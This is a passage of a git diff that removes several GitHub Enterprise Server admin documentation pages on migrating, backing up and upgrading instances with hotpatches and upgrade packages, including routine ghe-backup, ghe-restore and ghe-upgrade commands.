variables.product.prodname_enterprise %}, you must first migrate to {% data variables.product.prodname_ghe_server %} 2.1, then you can follow the normal upgrade process. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process). - -## Prepare for the migration - -1. Review the Provisioning and Installation guide and check that all prerequisites needed to provision and configure {% data variables.product.prodname_enterprise %} 2.1.23 in your environment are met. For more information, see [Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/). -1. Verify that the current instance is running a supported upgrade version. -1. Set up the latest version of the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils). - * If you have already configured scheduled backups using {% data variables.product.prodname_enterprise_backup_utilities %}, make sure you have updated to the latest version. - * If you are not currently running scheduled backups, set up {% data variables.product.prodname_enterprise_backup_utilities %}. -1. Take an initial full backup snapshot of the current instance using the `ghe-backup` command. If you have already configured scheduled backups for your current instance, you don't need to take a snapshot of your instance. - - > [!TIP] - > You can leave the instance online and in active use during the snapshot. You'll take another snapshot during the maintenance portion of the migration. Since backups are incremental, this initial snapshot reduces the amount of data transferred in the final snapshot, which may shorten the maintenance window. - -1. Determine the method for switching user network traffic to the new instance. After you've migrated, all HTTP and Git network traffic directs to the new instance. - * **DNS** - We recommend this method for all environments, as it's simple and works well even when migrating from one datacenter to another. Before starting migration, reduce the existing DNS record's TTL to five minutes or less and allow the change to propagate. Once the migration is complete, update the DNS record(s) to point to the IP address of the new instance. - * **IP address assignment** - This method is only available on VMware to VMware migration and is not recommended unless the DNS method is unavailable. Before starting the migration, you'll need to shut down the old instance and assign its IP address to the new instance. -1. Schedule a maintenance window. The maintenance window should include enough time to transfer data from the backup host to the new instance and will vary based on the size of the backup snapshot and available network bandwidth. During this time your current instance will be unavailable and in maintenance mode while you migrate to the new instance. - -## Perform the migration - -1. Provision a new {% data variables.product.prodname_enterprise %} 2.1 instance. For more information, see the [Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/) guide for your target platform. -1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. -1. Set an admin password. -1. Click **Migrate**. -1. In the "Add new SSH key" text field, paste your backup host access SSH key. -1. Click **Add key** and then click **Continue**. -1. Copy the `ghe-restore` command that you'll run on the backup host to migrate data to the new instance. -1. Enable maintenance mode on the old instance and wait for all active processes to complete. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - - > [!NOTE] - > The instance will be unavailable for normal use from this point forward. - -1. On the backup host, run the `ghe-backup` command to take a final backup snapshot. This ensures that all data from the old instance is captured. -1. On the backup host, run the `ghe-restore` command you copied on the new instance's restore status screen to restore the latest snapshot. - - ```shell - $ ghe-restore 169.254.1.1 - The authenticity of host '169.254.1.1:122' can't be established. - RSA key fingerprint is fe:96:9e:ac:d0:22:7c:cf:22:68:f2:c3:c9:81:53:d1. - Are you sure you want to continue connecting (yes/no)? yes - Connect 169.254.1.1:122 OK (v2.0.0) - Starting restore of 169.254.1.1:122 from snapshot 20141014T141425 - Restoring Git repositories ... - Restoring GitHub Pages ... - Restoring asset attachments ... - Restoring hook deliveries ... - Restoring MySQL database ... - Restoring Redis database ... - Restoring SSH authorized keys ... - Restoring Elasticsearch indices ... - Restoring SSH host keys ... - Completed restore of 169.254.1.1:122 from snapshot 20141014T141425 - Visit https://169.254.1.1/setup/settings to review appliance configuration. - ``` - -1. Return to the new instance's restore status screen to see that the restore completed. -1. Click **Continue to settings** to review and adjust the configuration information and settings that were imported from the previous instance. -1. Click **Save settings**. - - > [!NOTE] - > You can use the new instance after you've applied configuration settings and restarted the server. - -1. Switch user network traffic from the old instance to the new instance using either DNS or IP address assignment. -1. Upgrade to the latest patch release of {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process). diff --git a/content/admin/upgrading-your-instance/performing-an-upgrade/preparing-for-the-elasticsearch-upgrade.md b/content/admin/upgrading-your-instance/performing-an-upgrade/preparing-for-the-elasticsearch-upgrade.md deleted file mode 100644 index c90cb3eaf1b5..000000000000 --- a/content/admin/upgrading-your-instance/performing-an-upgrade/preparing-for-the-elasticsearch-upgrade.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: 'Preparing for the Elasticsearch upgrade in {% data variables.product.prodname_ghe_server %} 3.13' -intro: 'As part of upgrading {% data variables.product.prodname_ghe_server %} to version 3.13 or later, the Elasticsearch service will be upgraded.' -versions: - ghes: '>3.10 <3.15' -type: reference -topics: - - Enterprise - - Upgrades -shortTitle: Elasticsearch upgrade in 3.13 -allowTitleToDifferFromFilename: true -redirect_from: - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/preparing-for-the-elasticsearch-upgrade - - /admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/preparing-for-the-elasticsearch-upgrade ---- - -## Overview - -Elasticsearch (ES) powers the search functionality on your {% data variables.product.prodname_ghe_server %} instance. To bring the benefits of better performance and security posture, when you upgrade your instance to version 3.13 or later, the Elasticsearch version in the appliance will be upgraded from 5.6.16 to 8.7.0. - -The following sections help administrators prepare for and monitor the Elasticsearch upgrade. The key points are: - -* The upgrade will temporarily degrade the experience of the search and audit log features. -* If you're upgrading an instance in a cluster configuration, you must run a script to prepare your cluster for the ES upgrade. See [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-clustering/upgrading-a-cluster#upgrading-the-cluster-nodes). -* For backups, all customers should take a snapshot of their instance when the upgrade is complete. - -## Impact on search and audit logs - -All search indexes will be rebuilt after the upgrade to ES8. Users will experience degraded search experience during the rebuild, but the instance is otherwise expected to be functional and available. The index rebuild process depends on the size of the data set and may take a few hours to days. - -Audit logs will not be available immediately after upgrade, and it may take several hours to migrate all audit logs. - -We strongly recommend you take a backup (using backup-utils) immediately following completion of the index rebuild and use that snapshot for all future restores. See [AUTOTITLE](/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance). If you restore a backup from an instance running {% data variables.product.prodname_ghe_server %} 3.11 or 3.12, then any content that relies on ES will only be available after the ES indexes have been migrated and rebuilt on the 3.13 instance. - -## Monitoring the Elasticsearch upgrade - -You can monitor the progress of the ES upgrade in the site admin dashboard. - -1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Search indexes**. - -When the index rebuild is complete, all the search indexes should show green and "100%." - -## Changing the number of repair workers - -By default, the number of index repair workers is set to the number of CPU cores divided by 8 (with an upper bound of 8). To speed up the index rebuild, you can adjust the worker count. However, before doing so, you should consider the potential impact to the load. - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To change the number of workers, enter the following command. - - ```shell copy - ghe-config app.github.es-workers NUMBER-OF-WORKERS - ``` - -1. Run `ghe-config-apply`. - -You can also adjust the worker count for individual index rebuilds in the "Search Indexes" section of the site admin dashboard. See the [Monitoring the Elasticsearch upgrade](#monitoring-the-elasticsearch-upgrade) section. diff --git a/content/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-a-hotpatch.md b/content/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-a-hotpatch.md deleted file mode 100644 index 64b6883d42e9..000000000000 --- a/content/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-a-hotpatch.md +++ /dev/null @@ -1,76 +0,0 @@ ---- - title: Upgrading with a hotpatch - intro: 'You can use a hotpatch package to upgrade {% data variables.product.prodname_ghe_server %} to a newer patch release within a feature series.' - redirect_from: - - /admin/guides/installation/upgrading-github-enterprise-server#upgrading-with-a-hotpatch - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#upgrading-with-a-hotpatch - versions: - ghes: '*' - type: how_to - topics: - - Enterprise - - Upgrades - shortTitle: Upgrade with a hotpatch ---- - -{% data reusables.enterprise_installation.hotpatching-explanation %} - -Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. See [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process) and [AUTOTITLE](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements). - -## Upgrading a standalone instance using a hotpatch - -If you're upgrading an instance with one node using a hotpatch, and your target is a patch release, you can upgrade using {% data variables.enterprise.management_console %}. To upgrade to a feature release, you must use the administrative shell. - -* [Installing a hotpatch using the {% data variables.enterprise.management_console %}](#installing-a-hotpatch-using-the-management-console) -* [Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell) - -### Installing a hotpatch using the {% data variables.enterprise.management_console %} - -You can use the {% data variables.enterprise.management_console %} to upgrade with a hotpatch by enabling automatic updates. You will then be presented with the latest available version of {% data variables.product.prodname_ghe_server %} that you can upgrade to. - -If the upgrade target you're presented with is a feature release instead of a patch release, you cannot use the {% data variables.enterprise.management_console %} to install a hotpatch. You must install the hotpatch using the administrative shell instead. - -1. Enable automatic updates. For more information, see [AUTOTITLE](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks). -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.updates-tab %} -1. When a new hotpatch has been downloaded, select the **Install package** dropdown menu. - * To install immediately, click **Now**. - * To install later, select a later date. -1. Click **Install**. - -### Installing a hotpatch using the administrative shell - -{% data reusables.enterprise_installation.download-note %} - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (_.hpkg_ file). -{% data reusables.enterprise_installation.download-package %} -1. Run the `ghe-upgrade` command using the package file name: - - ```shell - admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.hpkg - *** verifying upgrade package signature... - ``` - -1. If at least one service or system component requires a reboot, the hotpatch upgrade script notifies you. For example, updates to the kernel, MySQL, or Elasticsearch may require a reboot. - -## Upgrading an instance with multiple nodes using a hotpatch - -If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication. - -* [Upgrading the primary node using a hotpatch](#upgrading-the-primary-node-using-a-hotpatch) -* [Upgrading additional nodes using a hotpatch](#upgrading-additional-nodes-using-a-hotpatch) - -### Upgrading the primary node using a hotpatch - -For instructions to upgrade the primary node, see [Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell). - -### Upgrading additional nodes using a hotpatch - -{% data reusables.enterprise_installation.multiple-node-upgrade-admonishment %} - -1. To upgrade the node, follow the instructions in [Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell). -{% data reusables.enterprise_installation.replica-ssh %} -{% data reusables.enterprise_installation.replica-verify %} -{% data reusables.enterprise_installation.multiple-node-repeat-upgrade-process %} diff --git a/content/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package.md b/content/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package.md deleted file mode 100644 index affbc6dcb204..000000000000 --- a/content/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package.md +++ /dev/null @@ -1,92 +0,0 @@ ---- - title: Upgrading with an upgrade package - intro: 'Learn how to use an upgrade package to upgrade {% data variables.product.prodname_ghe_server %} to a newer feature release.' - redirect_from: - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#upgrading-a-standalone-instance-using-an-upgrade-package - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#upgrading-with-an-upgrade-package - versions: - ghes: '*' - type: how_to - topics: - - Enterprise - - Upgrades - shortTitle: Upgrade with an upgrade package ---- - -Using the administrative shell, you can install an upgrade package with the `ghe-upgrade` utility. - -If you're running back-to-back feature version upgrades, you must ensure background jobs are complete before proceeding with the following upgrade to a feature release. {% data variables.product.prodname_dotcom %} recommends waiting 24 hours between upgrades to allow any background upgrade tasks to complete before upgrading a second time. See [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process) and [AUTOTITLE](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements). - -While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example, to upgrade from 2.11.10 to 2.12.4 you must use an upgrade package since these are in different feature series. - -## Upgrading a standalone instance using an upgrade package - -{% data reusables.enterprise_installation.download-note %} - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (_.pkg_ file). -{% data reusables.enterprise_installation.download-package %} -1. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - - > [!NOTE] When upgrading the primary node in a high availability configuration, the instance should already be in maintenance mode if you are following the instructions in [Upgrading the primary node with an upgrade package](#upgrading-the-primary-node-with-an-upgrade-package). - -1. Run the `ghe-upgrade` command using the package file name: - - ```shell - admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.pkg - *** verifying upgrade package signature... - ``` - -1. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode: - - ```shell - *** applying update... - This package will upgrade your installation to version VERSION-NUMBER - Current root partition: /dev/xvda1 [VERSION-NUMBER] - Target root partition: /dev/xvda2 - Proceed with installation? [y/N] - ``` - -1. Optionally, during an upgrade to a feature release, you can monitor the status of database migrations using the `ghe-migrations` utility. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-migrations). -1. After the instance restarts, the upgrade will continue in the background. You cannot unset maintenance mode until the process completes. - - To check the status of background jobs, use the `ghe-check-background-upgrade-jobs` utility. If you're running back-to-back upgrades, you must ensure background jobs are complete before proceeding with the following upgrade to a feature release. - - See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-check-background-upgrade-jobs). - - To monitor progress of the configuration run, read the output in `/data/user/common/ghe-config.log`. For example, you can tail the log by running the following command: - - ```shell - tail -f /data/user/common/ghe-config.log - ``` - -1. Optionally, after the upgrade, validate the upgrade by configuring an IP exception list to allow access to a specified list of IP addresses. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list). -1. For single node upgrades, perform any post-upgrade tasks including disabling maintenance mode so users can use {% data variables.location.product_location %}. - - > [!NOTE] After you upgrade an instance in a high availability configuration, you should remain in maintenance mode until you have upgraded all of the replica nodes and replication is current. See [Upgrading additional nodes with an upgrade package](#upgrading-additional-nodes-with-an-upgrade-package). - -## Upgrading an instance with multiple nodes using an upgrade package - -To upgrade an instance that comprises multiple nodes using an upgrade package, you must upgrade the primary node, then upgrade any additional nodes. - -* [Upgrading the primary node with an upgrade package](#upgrading-the-primary-node-with-an-upgrade-package) -* [Upgrading additional nodes with an upgrade package](#upgrading-additional-nodes-with-an-upgrade-package) - -### Upgrading the primary node with an upgrade package - -> [!WARNING] When replication is stopped, if the primary fails, any work from before the replica is upgraded and the replication begins again will be lost. - -1. On the primary node, enable maintenance mode and wait for all active processes to complete. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). -{% data reusables.enterprise_installation.replica-ssh %} -1. To stop replication on all nodes, run `ghe-repl-stop` on each node.{% ifversion ghes > 3.13 %} Alternatively, if there are multiple replicas, run `ghe-repl-stop-all` on the primary node instead, which will stop replication in a single run.{% endif %} -1. To upgrade the primary node, follow the instructions in [Upgrading a standalone instance using an upgrade package](#upgrading-a-standalone-instance-using-an-upgrade-package). - -### Upgrading additional nodes with an upgrade package - -1. Upgrade the node by following the instructions in [Upgrading a standalone instance using an upgrade package](#upgrading-a-standalone-instance-using-an-upgrade-package). -{% data reusables.enterprise_installation.replica-ssh %} -{% data reusables.enterprise_installation.replica-verify %} -{% data reusables.enterprise_installation.start-replication %}{% ifversion ghes > 3.13 %} Alternatively, if there are multiple replicas, run `ghe-repl-start-all` on the primary node instead, which will start replications in a single run.{% endif %} -{% data reusables.enterprise_installation.replication-status %} {% data reusables.enterprise_installation.replication-status-upgrade %} -{% data reusables.enterprise_installation.multiple-node-repeat-upgrade-process %} -{% data reusables.enterprise_installation.disable-maintenance-mode-after-replica-upgrade %} diff --git a/content/admin/upgrading-your-instance/preparing-to-upgrade/enabling-automatic-update-checks.md b/content/admin/upgrading-your-instance/preparing-to-upgrade/enabling-automatic-update-checks.md deleted file mode 100644 index cf644e77debe..000000000000 --- a/content/admin/upgrading-your-instance/preparing-to-upgrade/enabling-automatic-update-checks.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Enabling automatic update checks -intro: 'You can enable automatic update checks so that {% data variables.location.product_location %} checks for and downloads the latest {% data variables.product.prodname_ghe_server %} release.' -redirect_from: - - /enterprise/admin/installation/enabling-automatic-update-checks - - /enterprise/admin/enterprise-management/enabling-automatic-update-checks - - /admin/enterprise-management/enabling-automatic-update-checks - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks - - /admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Upgrades -shortTitle: Enable automatic update checks ---- - -## About automatic update checks - -When an upgrade package is automatically downloaded for {% data variables.location.product_location %}, you'll receive a message letting you know you can upgrade {% data variables.product.prodname_ghe_server %}. Packages download to the `/var/lib/ghe-updates` directory on {% data variables.location.product_location %}. For more information about the recommendations and requirements for upgrades, see [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process). - -If a hotpatch is available for an upgrade, the `.hpkg` will download automatically. In the management console you can choose to install the hotpatch immediately or schedule installation for a later time. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-a-hotpatch). - -## Enabling automatic update checks - -> [!TIP] -> To enable automatic update checks, {% data variables.location.product_location %} must be able to connect to `https://github-enterprise.s3.amazonaws.com`. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.updates-tab %} -1. Click **Yes, automatically check for updates**. -{% data reusables.enterprise_management_console.save-settings %} - -## Viewing whether an update is available - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.updates-tab %} -1. At the top of the page, view whether your instance is up-to-date, or whether an update is available. - -## Viewing the status of the most recent update check - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.updates-tab %} -1. Under "Logs," view status of the most recent update check. diff --git a/content/admin/upgrading-your-instance/preparing-to-upgrade/index.md b/content/admin/upgrading-your-instance/preparing-to-upgrade/index.md deleted file mode 100644 index 6c101ffc398b..000000000000 --- a/content/admin/upgrading-your-instance/preparing-to-upgrade/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Preparing to upgrade -intro: Learn how to prepare and plan for an upgrade of your {% data variables.product.prodname_ghe_server %} instance. -versions: - ghes: '*' -topics: - - Enterprise - - Upgrades -children: - - /overview-of-the-upgrade-process - - /upgrade-requirements - - /enabling-automatic-update-checks - - /taking-a-snapshot -shortTitle: Prepare to upgrade ---- diff --git a/content/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process.md b/content/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process.md deleted file mode 100644 index 620fdd2d62a4..000000000000 --- a/content/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process.md +++ /dev/null @@ -1,122 +0,0 @@ ---- - title: Overview of the upgrade process - intro: 'Learn the recommendations and requirements for upgrading {% data variables.product.prodname_ghe_server %}, so you can plan and test your upgrade strategy.' - redirect_from: - - /enterprise/admin/installation/upgrading-github-enterprise-server - - /enterprise/admin/articles/upgrading-to-the-latest-release - - /enterprise/admin/articles/migrations-and-upgrades - - /enterprise/admin/guides/installation/upgrading-the-github-enterprise-virtual-machine - - /enterprise/admin/guides/installation/upgrade-packages-for-older-releases - - /enterprise/admin/articles/upgrading-older-installations - - /enterprise/admin/hidden/upgrading-older-installations - - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch-early-access-program - - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch - - /enterprise/admin/guides/installation/upgrading-github-enterprise - - /enterprise/admin/enterprise-management/upgrading-github-enterprise-server - - /admin/enterprise-management/upgrading-github-enterprise-server - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server - versions: - ghes: '*' - type: overview - topics: - - Enterprise - - Upgrades - shortTitle: Upgrading overview ---- - -{% data reusables.enterprise.constantly-improving %} You are responsible for upgrades to your instance. See [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases). - -To upgrade an instance, you must: -1. **Plan your upgrade strategy** by choosing your upgrade version and the appropriate upgrade package, and scheduling a maintenance window. -1. **Communicate the upgrade** before and during the upgrade process. -1. **Prepare your backup strategy** by creating a backup and taking a virtual machine snapshot. -1. **Install the upgrade package** using the appropriate package and method. -1. **Complete post-upgrade tasks**. - -The process you must follow to apply an upgrade package depends on how many nodes are in your deployment topology. This article provides general information for upgrading instances in a standalone or high availability configuration only. - -## Planning your upgrade strategy - -### Plan your upgrade - -* Review the release notes and documented known issues before performing an upgrade. See [AUTOTITLE](/admin/release-notes) and [AUTOTITLE](/admin/upgrading-your-instance/troubleshooting-upgrades/known-issues-with-upgrades-to-your-instance). -* Review [AUTOTITLE](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements) to ensure you understand the requirements and recommendations for upgrading. -* Check that {% data variables.location.product_location %}'s data disk is at least 15% free. {% data variables.product.company_short %} recommends ensuring there is additional free storage on the disk. In some rare cases, for customers with large data volumes, this threshold may differ. See [AUTOTITLE](/admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity). -* Check that you have sufficient hardware resources for {% data variables.product.prodname_ghe_server %}. {% data reusables.enterprise_installation.preflight-checks %} -* Ensure you have a copy of all custom firewall rules for {% data variables.location.product_location %}, as customized rules will not persist post-upgrade. You must reapply any custom rules following the upgrade. See [AUTOTITLE](/admin/configuring-settings/configuring-network-settings/configuring-built-in-firewall-rules). -* For instances in a high availability configuration, check that the status of replication reports `OK` before upgrading. See [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-high-availability/monitoring-a-high-availability-configuration). -* Consider configuring the IP exception list for maintenance mode, so you can temporarily limit access to {% data variables.location.product_location %} to validate your server health after an upgrade. See [AUTOTITLE](/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode). - -### Choose your upgrade version and package - -* Determine an upgrade strategy and choose a version to upgrade to. - * You can upgrade a {% data variables.product.prodname_ghe_server %} instance to a new patch release or to a new feature release. - * Refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version, to a new patch or feature release version. -* Choose an upgrade package (hotpatch or upgrade package). - * To upgrade to a patch release, you can use a hotpatch or an upgrade package. To upgrade to a feature release, you must use an upgrade package. - * If you use an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required. - * If you have enabled automatic update checks, site administrators will be notified that an upgrade package has been downloaded and is available. See [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/enabling-automatic-update-checks). - * Release candidate builds are intended solely for use in a test environment. Do not install a release candidate build in a production environment. Do not upgrade from the release candidate to later versions, including generally available releases. - -### Consider if other application updates are required - -Check if you need to upgrade the following applications: - -* {% data variables.product.prodname_actions %} runners must be updated if {% data variables.location.product_location %} uses ephemeral self-hosted runners for {% data variables.product.prodname_actions %} and automatic updates are disabled. Upgrade runners to the minimum version of application required by your upgraded instance, before performing your upgrade. To find the minimum required version for your release, see [AUTOTITLE](/admin/all-releases#minimum-github-actions-runner-application-versions). -* {% data variables.product.prodname_enterprise_backup_utilities %}. Your {% data variables.product.prodname_enterprise_backup_utilities %} version needs to be the same version as, or at most two versions ahead of {% data variables.location.product_location %}. - * You may need to upgrade {% data variables.product.prodname_enterprise_backup_utilities %} to a newer version, prior to upgrading your instance. - * You may also want to plan to upgrade {% data variables.product.prodname_enterprise_backup_utilities %} to a newer version after upgrading your instance. - - See [AUTOTITLE](/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance) and the [README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. - -### Plan a maintenance window - -* Depending on your upgrade strategy, significant downtime may be required. -* The best way to determine the expected duration of downtime is to test your upgrade in a staging environment first. See [AUTOTITLE](/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). -* The maintenance window for your upgrade depends on the type of upgrade you perform. - * Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. - - > [!NOTE] - > Hotpatches require a configuration run, which can cause a brief period of errors or unresponsiveness for some or all services on {% data variables.location.product_location %}. You are not required to enable maintenance mode during installation of a hotpatch, but doing so will guarantee that users see a maintenance page instead of errors or timeouts. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - * Patch releases using an upgrade package typically require less than five minutes of downtime. - * Upgrading to a new feature release that include data migrations may cause a few hours of downtime, depending on storage performance and the amount of data that is migrated. During this time none of your users will be able to use the enterprise. - -## Communicating your upgrade - -* Prior to your upgrade, you can publish a global announcement banner to highlight important information to your users, such as incoming changes or possible downtime. See [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner). -* At the time of the upgrade, you can enable maintenance mode and set a custom message to inform users that the instance is temporarily unavailable. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -## Preparing your backup strategy - -### Create a backup snapshot - -Ensure you have a recent, successful backup snapshot of your instance's primary node before you start the upgrade process. See [AUTOTITLE](/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance) and the [README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. - -### Create a VM snapshot - -If you're upgrading to a new feature release, a virtual machine (VM) snapshot is required. If you're upgrading to a patch release, you can attach the existing data disk. - -Create a virtual machine (VM) snapshot of your instance's primary node immediately before upgrading, and only when maintenance mode has been enabled or the instance has been powered down. See [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot). - -## Installing an upgrade package - -Review the considerations for upgrades, and complete any preparation steps as described above, before you start installing an upgrade package. - -The instructions for upgrading your {% data variables.product.prodname_ghe_server %} instance differ depending on the type of upgrade you're performing and the number of nodes your instance has. - -* [Upgrading with a hotpatch](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-a-hotpatch#upgrading-with-a-hotpatch) - * [Upgrading a standalone instance using a hotpatch](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-a-hotpatch#upgrading-a-standalone-instance-using-a-hotpatch) - * [Upgrading an instance with multiple nodes using a hotpatch](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-a-hotpatch#upgrading-an-instance-with-multiple-nodes-using-a-hotpatch) -* [Upgrading with an upgrade package](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package#upgrading-with-an-upgrade-package) - * [Upgrading a standalone instance using an upgrade package](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package#upgrading-a-standalone-instance-using-an-upgrade-package) - * [Upgrading an instance with multiple nodes using an upgrade package](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package#upgrading-an-instance-with-multiple-nodes-using-an-upgrade-package) - -## Completing post-upgrade tasks - -* Check the status of background jobs, and review the upgrade log for errors. -* Check basic {% data variables.product.prodname_ghe_server %} functionality. For example, ensure you can sign in via the user interface, and verify that several of your organizations, repositories and issues can be reached as expected. It's also a good idea to manually run several Git fetches, clones, and pushes using SSH and/or HTTPS, and check that API requests and webhook deliveries complete successfully. -* Reapply any custom firewall rules. See [AUTOTITLE](/admin/configuring-settings/configuring-network-settings/configuring-built-in-firewall-rules). -* Delete any VM snapshots taken prior to upgrading. See [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot). -* Disable maintenance mode, and update any pre-upgrade communications such as announcement banners. See [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). -* Monitor all queued background jobs on your instance to ensure they complete successfully. See [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities). diff --git a/content/admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot.md 